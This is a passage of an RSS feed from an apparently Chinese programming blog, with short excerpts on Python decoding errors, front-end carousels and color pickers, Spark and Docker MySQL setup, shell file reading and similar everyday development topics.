    </item>
    <item>
      <title>&#39;utf-8&#39; codec can&#39;t decode byte 0x8b in position 1: invalid start byte(爬虫问题)</title>
      <link>https://bchobby.github.io/posts/523670bd789f4cd03f51e2d1a68a7c68/</link>
      <pubDate>Tue, 19 Feb 2019 16:39:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/523670bd789f4cd03f51e2d1a68a7c68/</guid>
      <description>问题背景（注：python3）：&#xA;用urllib.request抓去网页提示：&#xA;print(reponse.read().decode(&#39;utf-8&#39;)) UnicodeDecodeError: &#39;utf-8&#39; codec can&#39;t decode byte 0x8b in position 1: invalid start byte 而requests就没有出现问题。&#xA;原因：headers中有&#xA;&#39;Accept-Encoding&#39;: &#39;gzip, deflate, br&#39; 这行代码代表：本地可以接收压缩格式的数据。&#xA;服务器在处理时将大文件压缩再发回客户端，IE在接收完成后在本地对这个文件又进行了解压操作。&#xA;出错的原因是：程序没有解压这个文件&#xA;解决：删掉这行代码</description>
    </item>
    <item>
      <title>小程序 web-view 打开 微信公众号文章</title>
      <link>https://bchobby.github.io/posts/b655f8e0d16cbd3ad110b2bf0ad461fa/</link>
      <pubDate>Tue, 19 Feb 2019 16:33:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b655f8e0d16cbd3ad110b2bf0ad461fa/</guid>
      <description>首先微信小程序不能不能随便打开一个网址就能进行访问。&#xA;必须要配置业务域名。&#xA;但是，如果小程序和微信公众号进行了关联，则直接可以打开这个公众号到文章。&#xA;我已经测试过了。肯定好用。&#xA;还有一种方案，打开别人公众号的文章，你在自己服务器上，爬别人的文章，通过自己的服务器返回，就OK。</description>
    </item>
    <item>
      <title>JavaScript实战014：简单的滑动轮播图</title>
      <link>https://bchobby.github.io/posts/01a7628ac3083c34b6cbc337a3c01621/</link>
      <pubDate>Tue, 19 Feb 2019 16:02:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01a7628ac3083c34b6cbc337a3c01621/</guid>
      <description>今天要做的是轮播图的功能，本来想用vue来实现的，后来想想还是用JavaScript先做个用下，为了简单一开始我们只实现最简单的基本功能，后面在添加更多的功能，这样容易理解和学习，下面的今天实现的功能，效果图如下。&#xA;在设置好的时间间隔内对图片进行自动轮播； 点击左右箭头进行图像的切换； 鼠标移入/移出控制轮播图的停止/继续； 第一步：&#xA;先写出HTML基本代码，这里我们只轮播了3张图片（放了4张图是为了实现无缝轮播），然后用了一个2个psn标签做左右切换的按钮，通过它来控制图片的上一张和下一张的切换。&#xA;&amp;lt;body&amp;gt; &amp;lt;div class=&#34;Carousel&#34;&amp;gt; &amp;lt;div id=&#34;picture&#34;&amp;gt; &amp;lt;img src=&#34;../assets/images/1.png&#34; alt=&#34;&#34;&amp;gt; &amp;lt;img src=&#34;../assets/images/2.png&#34; alt=&#34;&#34;&amp;gt; &amp;lt;img src=&#34;../assets/images/3.png&#34; alt=&#34;&#34;&amp;gt; &amp;lt;img src=&#34;../assets/images/1.png&#34; alt=&#34;&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;span class=&#34;arrow arrow_left&#34;&amp;gt;&amp;lt;&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;arrow arrow_right&#34;&amp;gt;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; 第二步：&#xA;样式布局，最外面的div是用来定义图片显示区域的，所以这时多出的位置我们要用overflow:hidden；将其隐藏起来。&#xA;.Carousel{ position: relative; //相对定位，方便子元素定位 width:600px; //宽 height:400px; //高 margin:50px auto; //外边距 overflow: hidden; //隐藏 border:10px solid rgba(189, 184, 184,0.5); //这是外边框 z-index: 1;//参考值，方便把左右键的按钮放在上层 } 而第二层div则是用来承载要轮播的图片的，这里我们要将图片平铺成一行，方便我们后期移动，所以这里要用到绝对定位，而图片我们则使用浮动将其平铺成一行即可（关闭overflow:hidden属性我们看到的就是图片在移动的效果），当然现在这几行代码是移动不起来的，要加上JavaScript才行的。&#xA;#picture{ position: absolute; //绝对定位 width: 2400px;//如果不知道有多宽，直接用百分比，比如1000%，多出去的不用管 height: 400px; //高 } #picture img{ float: left; //浮动 width:600px; height:400px; } 第三步：</description>
    </item>
    <item>
      <title>Unity Hololens入门，如何使用hololens</title>
      <link>https://bchobby.github.io/posts/182bad7ccaaafdaa63ad221b09cbae34/</link>
      <pubDate>Tue, 19 Feb 2019 15:29:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/182bad7ccaaafdaa63ad221b09cbae34/</guid>
      <description>本着学习的态度，恰好手里有一台hololens，开始研究一下这个东西。&#xA;HoloLens 是微软研发的一款混合现实的设备。&#xA;我使用的unity版本为2018.3.0&#xA;下面先介绍如何创建一个unity的HoloLens项目。&#xA;首先创建一个unity项目，起名为MixRealityDoc。&#xA;选中MainCamera ，将camera 的位置姿态归为原点，直接reset即可。&#xA;创建一个cube，位置改为（0,0,2）姿态改为（45,45,45）大小改为（0.25，0.25，0.25）&#xA;保证你已经安装了Universal Windows Platform的安装包就是，并切换平台为windows Platform 如下图。&#xA;点击player Setting选择XR settings 勾选 Virtual Reality Supported如下图&#xA;点开window -&amp;gt;XR -&amp;gt;Holographic Emulation ,用于连接你的HoloLens 点开如下图所示。&#xA;EmulationMode改为 Remote to Device,设置好即可。&#xA;打开Hololens 在store 中找到 Holographic Remoting Player并下载，打开后即可连接你的unity&#xA;运行unity程序即可看到cube</description>
    </item>
    <item>
      <title>移动端meta标签的使用</title>
      <link>https://bchobby.github.io/posts/05f4ad0f658b3ab066cbe36999fe87af/</link>
      <pubDate>Mon, 18 Feb 2019 15:52:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05f4ad0f658b3ab066cbe36999fe87af/</guid>
      <description>&amp;lt;!-- 页面宽度等于视口宽度,不允许用户缩放--&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width,initial-scale=1.0&#34;&amp;gt; &amp;lt;!-- 设置缓存 --&amp;gt; &amp;lt;!-- 设定网页的到期时间 --&amp;gt; &amp;lt;meta http-equiv=&#34;Expires&#34; content=&#34;-1&#34;&amp;gt; &amp;lt;!-- 清除缓存（再访问这个网站要重新下载！） --&amp;gt; &amp;lt;meta http-equiv=&#34;Cache-Control&#34; content=&#34;no-cache&#34;&amp;gt; &amp;lt;!-- 禁止浏览器从本地机的缓存中调阅页面内容，访问者将无法脱机浏览 --&amp;gt; &amp;lt;meta http-equiv=&#34;Pragma&#34; content=&#34;no-cache&#34;&amp;gt; &amp;lt;!-- author用于定义网页作者 --&amp;gt; &amp;lt;meta name=&#34;author&#34; content=&#34;aicoder.com&#34;&amp;gt; &amp;lt;!-- 就是当点击网页添加至主屏幕功能时，会在主屏幕上生成一个图标。点击该图标会进入webapp功能。就是模拟本地应用的模式来浏览web页面。 --&amp;gt; &amp;lt;meta name=&#34;apple-mobile-web-app-capable&#34; content=&#34;yes&#34;&amp;gt; &amp;lt;!-- 当启动webapp功能时，显示手机信号、时间、电池的顶部导航栏的颜色。默认值为default（白色），可以定为black（黑色）和black-translucent（灰色半透明）。这个主要是根据实际的页面设计的主体色为搭配来进行设置。 --&amp;gt; &amp;lt;meta name=&#34;apple-mobile-web-app-status-bar-style&#34; content=&#34;black&#34;&amp;gt; &amp;lt;!-- 添加到主屏幕后，app全屏显示 --&amp;gt; &amp;lt;meta content=&#34;yes&#34; name=&#34;apple-touch-fullscreen&#34; /&amp;gt; &amp;lt;!-- 默认设备会自动识别任何可能是电话和邮箱的字符串。设置telephone=no可以禁用这项功能。 --&amp;gt; &amp;lt;meta content=&#34;telephone=no,email=no&#34; name=&#34;format-detection&#34; /&amp;gt; &amp;lt;!-- UC浏览器私有 --&amp;gt; &amp;lt;!-- 全屏模式 --&amp;gt; &amp;lt;meta name=&#34;full-screen&#34; content=&#34;yes&#34;&amp;gt; &amp;lt;!-- 应用模式 --&amp;gt; &amp;lt;meta name=&#34;</description>
    </item>
    <item>
      <title>Vue自定义组件：颜色选择器及其实现原理</title>
      <link>https://bchobby.github.io/posts/87ab56c8477791cf0ac60fa215fa9bf3/</link>
      <pubDate>Mon, 18 Feb 2019 00:04:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87ab56c8477791cf0ac60fa215fa9bf3/</guid>
      <description> 老样纸，先上效果图： demo操作地址：plain-ui demo 打开这个页面之后，在Form中打开ColorPicker颜色选择页面&#xA;先对这个效果图做一个简单介绍： 这个组件左边的实例是启用了设置透明度alpha值的，而右边的禁用了，所以是看起来两种不同的效果；这两个实例通过v-model绑定了同一个值，所以在点击确定按钮的时候，两个都产生了相应的变化，因为右边的没有启用透明度，所以转化得到的值会自动转化为不带透明度的16进制，这个转化的结果是可以设置的，支持rgb以及16进制(hex)，默认是16进制;从上至下，第一个正方形是用来选择饱和度（saturation）以及亮度（value），第一个七彩的滑条是用来选择色相（hue），第三个是记录历史选择的颜色，可以点击历史选择的颜色快速选中颜色；第行是颜色输入框，输入颜色，回车之后会更新显示输入的颜色，点击确定按钮这个组件实例会派发input事件，值就是选中的颜色； 接下来介绍这个组件的实现原理 在实现这个组件的时候，网上各种百度谷歌博客网页，大多数都是介绍啥啥啥组件怎么用，哪个现成的比较好用，就没看到那篇博客详细说明了这个东西的实现原理，每个东西是怎么来的，这里我研究了一番之后，决定将解析过程写下来，避免过一段时间就忘了。&#xA;首先介绍一个核心概念：HSV颜色模型&#xA;1） 先上图：&#xA;2）在HSV颜色模型中，HSV三个字母分别代表色调（hue）、饱和度（saturation）、亮度（value），首先色调的取值范围是0 ~ 360，表示0度到360度，对应图中圆锥上方彩色的度数，0度以及360度都表示红色，120度表示绿色，240度表示蓝色；饱和度的取值范围为0 ~ 100，可以理解为点到彩色圆中心的距离，观察一下上面的图，在圆锥彩色圆中，圆心是白色的，这时饱和度为0，当饱和度为100时，颜色就是圆最外层的颜色，也就是最“饱和”的颜色，所以这个饱和度可以理解为在彩色圆中的点到彩色圆中心的距离，从立体角度来看，就是圆锥体内的点，到圆锥内部中心轴的距离；亮度为圆锥体内的点所在的平面到圆锥顶点的距离，为0，表示亮度为0，这时就是黑色的，如果为最大值100，表示点在彩色圆上；当hsv为0,100,100表示为红色；&#xA;3）看这个图，在圆点上下移动的时候观察value，在圆点左右移动的时候观察saturation：&#xA;可以观察到，当saturation越小时，越趋近于白色（饱和度低），当value越小时（亮度低），越趋近于黑色，当saturation以及value都为100时，就是当前色调的颜色；&#xA;相关组件罗列（按照实现的顺序）：&#xA;1）pl-color-hue-slider（色调滑条选择组件，图中七彩横条滑动的组件）；&#xA;2）pl-color-sv-picker（饱和度以及亮度选择组件，图中正方形元素）；&#xA;3）pl-color-alpha-slider（透明度选择组件，本文最开始的图中第一张图色调滑条选择组件下面的有透明格子的组件）；&#xA;4）pl-color（显示颜色的小圆圈组件）；&#xA;5）pl-color-history（显示历史选择颜色的组件，点击可以得到选择的历史颜色）；&#xA;6）pl-color-picker-panel（整个颜色选择面板组件）；&#xA;pl-color-hue-slider没啥技术含量，就是背景色是： background: linear-gradient(90deg, red 0, #ff0 17%, #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, red);然后有个div可以拖拽左右移动，这个左右移动是通过left属性控制的，通过left值与整个滑条可滑动宽度（滑条宽度减去滑块宽度）之间的比例（[0,100]）得出[0,360]的度数；&#xA;pl-color-sv-picker要比pl-color-hue-slider要稍微复杂一点点，就是横轴left值是饱和度，纵轴top值是100-亮度，然后这个白色、黑色以及对应色调颜色的渐变颜色面板的原理是有三个div，第一个div背景色是色调色，第二个div是白色渐变色background: linear-gradient(to right, white, #ffffff00)，从左至右，第三个div是黑色渐变色background: linear-gradient(to top, black, #ffffff00)，从下至上，最后三个div覆盖在一起就可以得到这个黑白彩渐变的面板；&#xA;pl-color-alpha-slider透明度组件原理与pl-color-hue-slider原理基本一致；&#xA;剩下的pl-color-history以及pl-color-picker-panel的实现过程与颜色选择器的核心原理没啥关系，这里就不提了；&#xA;因为这个组件隶属于我个人组件库，目前组件库不是开源的，所以这个组件的源码不便展示。 </description>
    </item>
    <item>
      <title>Ajax详细参数介绍</title>
      <link>https://bchobby.github.io/posts/ab160c41fc91d503d4dbbcebe9e0904e/</link>
      <pubDate>Sun, 17 Feb 2019 15:58:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab160c41fc91d503d4dbbcebe9e0904e/</guid>
      <description> $.ajax({ type:&#39;post&#39;, //String 默认为GET timeout:&#39;2000&#39;, //Number 设置超时时间（毫秒） url:{&#34;&#34;}, //String 发送请求的地址 async: false, //同步（默认true,异步加载） dataType:&#34;json&#34;, //String xml、html、script、json、jsonp、jQuery、text data:{&#39;userName&#39;:userName}, //发送给后台的请求数据 &#34;userName&#34;:userName或者 data: {username:$(&#34;#userName&#34;).val(),password:$(&#34;#password&#34;).val()}, //提交前回调函数（发送请求前可以修改XMLHttpRequest对象的函数） beforeSend:function(XMLHttpRequest){ this; //调用本次Ajax请求时传递的options参数 }, //请求成功后处理（data可能是xmlDoc、jsonObj、html、text；textStatus （请求状态）：success、error、notimodified、timeout） success:function(data,textStatus){ this; //调用本次Ajax请求时传递的options参数//window.location.href = data.getCodeUrl;/*location.reload();*/ }, //请求失败后调用（通常情况下textStatus和errorThrown只有其中一个包含信息） error: function (XMLHttpRequest,textStatus,errorThrown) { this; //调用本次Ajax请求时传递的options参数 console.log(&#34;error-----------&#34;); }, //请求完成后处理（请求成功或失败时均调用） complete:function(XMLHttpRequest,textStatus){ this; //调用本次Ajax请求时传递的options参数 } }); </description>
    </item>
    <item>
      <title>【机器学习大数据篇】Windows和PC机上搭建Spark&#43;Python开发环境的详细步骤</title>
      <link>https://bchobby.github.io/posts/c26b251492af50d2e8522ef3af78423d/</link>
      <pubDate>Sat, 16 Feb 2019 14:06:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c26b251492af50d2e8522ef3af78423d/</guid>
      <description>0&#xA;准备工作&#xA;查看操作系统的版本信息：计算机&amp;gt;&amp;gt;右键“属性”&amp;gt;&amp;gt;查看版本信息，如Windows10专业版64位。&#xA;1&#xA;安装Anaconda&#xA;1.1 下载&#xA;注意选择与操作系统匹配的版本，截止写本教程时，官方版本为Anaconda5.0.1，内部封装的为Python3.6，也可根据需要下载封装其他版本Python的Anaconda3&#xA;下载地址为：https://www.anaconda.com/download/&#xA;1.2 安装&#xA;根据安装向导逐步进行，注意安装路径中的文件夹名称不要存在空格&#xA;1.3 配置环境变量&#xA;配置系统变量PATH，添加…\Anaconda3\Scripts及…\Anaconda3（根据安装路径确定）&#xA;【注意】此图PATH变量中也显示了后续安装过程中添加的信息&#xA;1.4 测试&#xA;测试Python：在cmd中输入Python命令，查看Python版本信息&#xA;测试Conda：在cmd中输入conda或pip命令，查看具体信息&#xA;2&#xA;安装Java&#xA;2.1 下载&#xA;下载JDK8，选择与操作系统匹配的版本，注意勾选同意其使用协议后下载&#xA;下载地址为：http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html&#xA;2.2 配置环境变量&#xA;新建系统变量JAVA_HOME，值为Java安装路径&#xA;新建系统变量CLASSPATH，值为“.%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar”（注意最前面的圆点）&#xA;配置系统变量PATH，添加%JAVA_HOME%\bin及%JAVA_HOME%\jre\bin&#xA;2.3 测试&#xA;在cmd中输入java –version命令，查看Java版本信息&#xA;3&#xA;安装Spark&#xA;3.1 下载&#xA;下载Spark2.2.0，注意与操作系统版本一致&#xA;下载地址为：http://spark.apache.org/downloads.html&#xA;3.2 安装&#xA;只需解压程序包，并拷贝至存放路径，注意安装路径中的文件夹名称不要存在空格&#xA;3.3 配置环境变量&#xA;新建系统变量SPARK_HOME，值为Spark安装路径&#xA;配置系统变量PATH，添加%SPARK_HOME%\bin及%SPARK_HOME%\sbin&#xA;3.4 配置日志显示级别&#xA;选择…\spark\conf\目录下log4j.properties.template，复制为log4j.properties&#xA;将log4j.properties中，&#34;INFO, console&#34;改为&#34;WARN, console&#34;&#xA;4&#xA;配置Hadoop支持模块&#xA;4.1 下载&#xA;下载Hadoop支持模块&#xA;下载地址为：https://github.com/LemenChao/Introduction-to-Data-Science/blob/master/Hadoop/hadoop.dll-and-winutils.exe-for-hadoop2.7.3-on-windows_X64-master.zip&#xA;4.2 安装&#xA;只需解压程序包，并拷贝至存放路径，注意安装路径中的文件夹名称不要存在空格&#xA;4.3 配置环境变量&#xA;新建系统变量HADOOP_HOME，值为Hadoop安装路径&#xA;配置系统变量PATH，添加%HADOOP_HOME%\bin&#xA;5&#xA;测试Spark</description>
    </item>
    <item>
      <title>IntelliJ IDEA 中看到 classes, sources, javadocs 三种jar的区别和各自的作用</title>
      <link>https://bchobby.github.io/posts/4df89f9ae2d99ccd686f7b41665fd141/</link>
      <pubDate>Sat, 16 Feb 2019 11:23:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4df89f9ae2d99ccd686f7b41665fd141/</guid>
      <description>在 intelliJ idea 里面看到 ，Project Structure——》 Libraries ——》 Sources 的路径是红色的&#xA;看图会比较好。以guava包为例来说明。&#xA;可以看到在这看整个maven项目的依赖时，发现如图的情况，这红色是什么情况，是报错吗？需要处理吗？这3个不同jar都是什么东西，各自有啥作用。大概会有这么些疑问吧。️。&#xA;假如在依赖库如上的情况下，你点进去，看guava的源码，会有下图的效果。&#xA;给你2个选择，一个是选则source，一个是下载source。注意，这个时候，你看到的文件是class文件，是可以直接运行的文件，之所以能看到内部的具体实现，是idea给你自动逆转换啦。感谢idea吧&#xA;(记得当年刚刚工作的时候，使用的eclipse，然后debug的时候，假如要进入这些个没有sources的jar的时候，就进不去这个class文件，他还傻乎乎的给个弹窗，让我倒入sources文件，还是idea高级，直接喊你下载。)&#xA;这个时候点击download sources，下载源码。&#xA;这个时候，你看到的文件，就变成啦Java文件，而且，还带上了很多的注释。&#xA;这个时候，再看仓库library的变化&#xA;可以看到刚刚还是红色的sources文件，现在有啦，下面的Javadoc还没有。&#xA;然后，再看mven的repository里面的情况&#xA;可以看到jar类型的文件jar包，这地方有2个。&#xA;（有么有疑惑，这个带sources的jar怎么比classes的jar还小呢？因为Java文件在编译生成class文件的时候，会对代码进行优化，这个优化是针对运行的，所以，由Java文件变class文件，他到底是变大，还是变小，这个是不确定。）&#xA;三个jar包同时存在的也不是没有，看下面&#xA;最后，说一下，各自的作用。&#xA;classes的jar，是正儿八经运行项目的时候使用的，因为这个是直接编译好的class文件，可以直接被虚拟机运行的。&#xA;sources的jar，就是给开发人员看的，自己在学习和debug的时候，可以看到jar包里面的各种注释说明，方便学习。&#xA;Javadoc的jar，也和sources的jar一个道理吧，起到辅助的作用吧。这个不是必须的，guava就没有提示你下载这个，就已经显示了很多的注释了。&#xA;所以，&#xA;最开始的那个图里面的只要classes的jar不报错，下面的2个jar，可有可无。不是什么问题。&#xA;了解原理就好啦。&#xA;我写完文章，给自己点个赞，不过分吧，&#xA;不过分，那我可就点啦啊。&#xA;我先点为敬，你们随意。大家随意。不要客气。。。 作者：李学凯 来源：CSDN</description>
    </item>
    <item>
      <title>springBoot整合ElasticSearch（仿佛在填一个天坑。。。)</title>
      <link>https://bchobby.github.io/posts/a38f1477a6da2a7912eb0cab2adee15e/</link>
      <pubDate>Sat, 16 Feb 2019 11:17:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a38f1477a6da2a7912eb0cab2adee15e/</guid>
      <description>看了一下springBoot的书，书里介绍了一个全文检索的中间件ElasticSearch，大概了解了一下全文检索的原理，就想着，搭个环境试下。。。试下试下就掉坑里了。搭这个鬼环境搭了一整天，各种问题，简直是脑爆。最后终于跑起来了环境，csdn里写个记录，github丢个源码就跑。万一，哪天项目用到这个鬼东西了呢。。。&#xA;填完坑之后我得出的结论就是，springBoot的版本和ElasticSearch的版本一定要对应，不然各种坑啊坑啊。&#xA;项目里用的springBoot的版本是1.5.8，对应elasticsearch-2.4.6。elasticsearch-2-4-6&#xA;参考了各种资料，出了各种BUG，最后还死在了一个yml配置，如下:&#xA;这个yml配置也是我复制别人的。我自己是本地跑的，根本就没用到集群，最后也不知道是不是配置这个集群名导致出了各种问题，最后去掉了这个集群名，问题就解决了。&#xA;DEMO项目丢到github上去了。地址:https://github.com/howlXu/springboot-elasticsearch&#xA;参考了很多文章，鉴于最后跑的DEMO是直接复制别人的，懒得改啦。直接把参考DEMO的地址放下面好啦。其他还参考挺多的，星期五下午到星期六上午，全在百度，stackoverflow，google。哎。&#xA;谢谢这位大神:https://www.cnblogs.com/dalaoyang/p/8990989.html</description>
    </item>
    <item>
      <title>shell读取文件</title>
      <link>https://bchobby.github.io/posts/e6d6535e988c11ffb39c4ee4bd694125/</link>
      <pubDate>Sat, 16 Feb 2019 10:04:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6d6535e988c11ffb39c4ee4bd694125/</guid>
      <description>shell读取文件的方式有两种，while循环读和for循环读&#xA;while循环读方式&#xA;#!/bin/bash PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin export PATH cat filename | while read line do etho $line done for循环读方式&#xA;#/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin export PATH for line in `cat filename(待读取的文件)` do echo $line done 这两种方式的另外的写法&#xA;#/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin export PATH while read line do echo $line done &amp;lt; filename while和for对文件的读取是有区别的&#xA;while对文件读是逐行读完后跳转到下行&#xA;for对文件的读是按字符串的方式进行的，遇到空格什么后，再读取的数据就会换行显示&#xA;while相对for的读取很好的还原数据原始性&#xA;matthew@ubuntu:~/workspace/shell$ cat 011.txt 1111 2222 3333 aaaaa bbbbbbbbbbbbbbbbbbbb ccccccccc ddddddddd matthew@ubuntu:~/workspace/shell$ matthew@ubuntu:~/workspace/shell$ ./for.sh 1111 2222 3333 aaaaa bbbbbbbbbbbbbbbbbbbb ccccccccc ddddddddd matthew@ubuntu:~/workspace/shell$ matthew@ubuntu:~/workspace/shell$ .</description>
    </item>
    <item>
      <title>centos7终端命令查看图片</title>
      <link>https://bchobby.github.io/posts/a073a2ceb9e8fbff98818d16437832fd/</link>
      <pubDate>Sat, 16 Feb 2019 09:26:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a073a2ceb9e8fbff98818d16437832fd/</guid>
      <description>[260254@localhost 图片]$ display 2019-02-16\ 08-58-57\ 的屏幕截图.png [260254@localhost 图片]$ eog 2019-02-16\ 08-58-57\ 的屏幕截图.png [260254@localhost 图片]$ xdg-open 2019-02-16\ 08-58-57\ 的屏幕截图.png This tool has been deprecated, use &#39;gio open&#39; instead. See &#39;gio help open&#39; for more info. [260254@localhost 图片]$ gio open 2019-02-16\ 08-58-57\ 的屏幕截图.png ps:除第一个打开的是ImageMagick，其他的都是打开系统自带的图片编辑器</description>
    </item>
    <item>
      <title>百度网盘无法安装/百度云盘无法安装，一闪而过，双击无反应</title>
      <link>https://bchobby.github.io/posts/64b82b6f204c213ef82f2e1e113efd09/</link>
      <pubDate>Fri, 15 Feb 2019 21:58:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64b82b6f204c213ef82f2e1e113efd09/</guid>
      <description>把百度网盘的EXE程序放到一个新建的文件夹，文件夹名称任意，使用360压缩软件直接解压，鼠标右键BaiduNetdisk.exe创建桌面快捷方式，双击快捷方式就可以使用了。</description>
    </item>
    <item>
      <title>uni-app项目中使用scss语法</title>
      <link>https://bchobby.github.io/posts/f1e55aee2c9b752bae0be50b00a4799a/</link>
      <pubDate>Fri, 15 Feb 2019 11:22:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1e55aee2c9b752bae0be50b00a4799a/</guid>
      <description>最近正在学习uni-app开发，我先把文档浅略翻了遍。发现组件和接口几乎都是按照微信小程序走，但是视图层上的语法又是按照vue的语法走的。所以开发过程一定要注意这点。&#xA;然后我想在uni-app项目中使用scss语法。但是具体怎么安装呢？历经曲曲折折的道路，终于实现了。下面是我的安装过程，有相同错误的可以参考下！&#xA;我的win7 64位系统，我的开发工具是HbuilderX。&#xA;1、最简单的方法如下： 点击菜单栏中的“工具 – 插件安装 – scss/sass编译” 点击安装，如果成功了，就可以正常使用了。&#xA;很不幸的是，我的提示失败了&#xA;2、我又找到D:\HBuilderX\plugins\compile-node-sass插件目录，执行npm install，仍然提示失败： 然后我去社区提问了，经提示查看了错误日志，显示了一大堆错误，还是不知道如何解决：&#xA;然后，我去百度找答案了。。。&#xA;出来的都是node-sass安装错误流程，大多是说npm安装不成功的可以使用cnpm淘宝滤镜。&#xA;最后抱着试试的心理，一步一步尝试下来，竟然成功了！！&#xA;3、安装node-sass流程 3-1、先下载python，然后设置环境变量。附上安装步骤地址【http://www.runoob.com/python/python-install.html】 3-2、安装cnpm。附上安装步骤地址【http://npm.taobao.org/】 3-3、再次进入D:\HBuilderX\plugins\compile-node-sass插件目录，执行cnpm install，可喜可贺，终于安装成功了！ 然后，启动我们的项目，给style标签添加lang=“scss”，启动“运行到浏览器”。发现又报了如下错误，悲剧！&#xA;然后，继续到社区上搜索答案。附上地址【http://ask.dcloud.net.cn/question/63952】&#xA;4、具体做法如下： 按照控制台提示操作。&#xA;4-1、运行cmd， 4-2、然后执行控制台的mkdir命令 然后没有curl的朋友请跟着我这么做。&#xA;4-3、进入到刚刚mkdir创建的目录 4-4、从node-sass github官方下载下来，然后，然后，重点是先将下载的文件重命名为“binding.node”。然后在拷贝文件到刚刚mkdir创建的目录。 下载地址：https://github.com/sass/node-sass/releases/download/v4.11.0/win32-ia32-57_binding.node&#xA;最后，重启项目，提示编译成功啦，可喜可贺！！！</description>
    </item>
    <item>
      <title>知否？知否？情人眼里出代码</title>
      <link>https://bchobby.github.io/posts/1e65926a4a55a6e6f941f25ab0c10de9/</link>
      <pubDate>Thu, 14 Feb 2019 14:24:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e65926a4a55a6e6f941f25ab0c10de9/</guid>
      <description>今天是 0214 ，打乱一下数字就是 1024，程序员最喜欢的一个数字之一。&#xA;当然，除此之外，今天也是一年一度的 情人节。&#xA;这个日子肯定少不了表白。那程序员怎么去表白？当然是 写—代---码！&#xA;每到情人节，脑洞大开的程序员们就纷纷出动，想出了各种别出心裁的表白代码。虽然结局不一定美好，但这些也是一种撩妹手段。&#xA;从古&#xA;采葛: 一日不见，如三月兮&#xA;顾城 ：《门前》至今&#xA;春风十里不如你舒婷：致橡树一见钟情&#xA;一见钟情，相濡以沫，不忘初心，真爱永恒直到死之前，每天爱你多一点&#xA;爱你一万年&#xA;爱你爱到天荒地老山无陵， 江水为竭， 冬雷震震， 夏雨雪， 天地合， 乃敢与君绝！欢迎工作一到五年的Java工程师朋友们加入Java高级架构：978315887&#xA;群内提供免费的Java架构学习资料（里面有高可用、高并发、高性能及分布式、Jvm性能调优、Spring源码，MyBatis，Netty,Redis,Kafka,Mysql,Zookeeper,Tomcat,Docker,Dubbo,Nginx等多个知识点的架构资料）合理利用自己每一分每一秒的时间来学习提升自己，不要再用&#34;没有时间“来掩饰自己思想上的懒惰！趁年轻，使劲拼，给未来的自己一个交代！</description>
    </item>
    <item>
      <title>Docker中mysql大小写敏感配置不起作用的问题排查</title>
      <link>https://bchobby.github.io/posts/42a70721bf2428be95d1ba6543d624b4/</link>
      <pubDate>Wed, 13 Feb 2019 10:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42a70721bf2428be95d1ba6543d624b4/</guid>
      <description>由于linux中mysql的的表名是区分大小写的。所以需要配置my.conf。&#xA;所以在docker中需要把配置文件带进去。在宿主机的目录中新建my.conf文件，然后写入如下配置。&#xA;[mysqld]&#xA;user=mysql lower_case_table_names=1 在启动docker时，把文件挂载进去，我用的是这个命令&#xA;docker run -d -e MYSQL_ROOT_PASSWORD=HAHA123 --name mysql -v /data/mysql/data:/var/lib/mysql -v /data/mysql/usr/data:/usr/data -v /data/mysql/my.cnf:/etc/mysql/my.cnf -p 3306:3306 mysql:5.6 一般来讲这样启动一切应该就正常了，但是我在环境中却碰到了这个问题，mysql忽略了配置文件，导致依然大小写敏感。&#xA;Warning: World-writable config file &#39;/etc/mysql/my.cnf&#39; is ignored&#xA;然后继续百度，有人提到是mysql认为这个my.cnf文件的权限太大，任何人可编辑，太危险了，所以就忽略了这个配置文件。&#xA;原来是这样子的，为了方便ftp操作，运维把整个data文件夹都设置成了777权限，所以这个cnf文件也配置成了777权限，加载到docker里依然是777权限，这个倒是我之前没有碰到过的，知道问题原因就好解决了，改这个文件的权限就可以搞定了。&#xA;重启docker，终于大小写不敏感了&#xA;转载于:https://www.cnblogs.com/JangoJing/p/10368519.html</description>
    </item>
    <item>
      <title>Golang  实现etcd键值对的写入查看，并在租约时间内存在</title>
      <link>https://bchobby.github.io/posts/97adeb94976779e99577e17c65e165ce/</link>
      <pubDate>Tue, 12 Feb 2019 23:35:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97adeb94976779e99577e17c65e165ce/</guid>
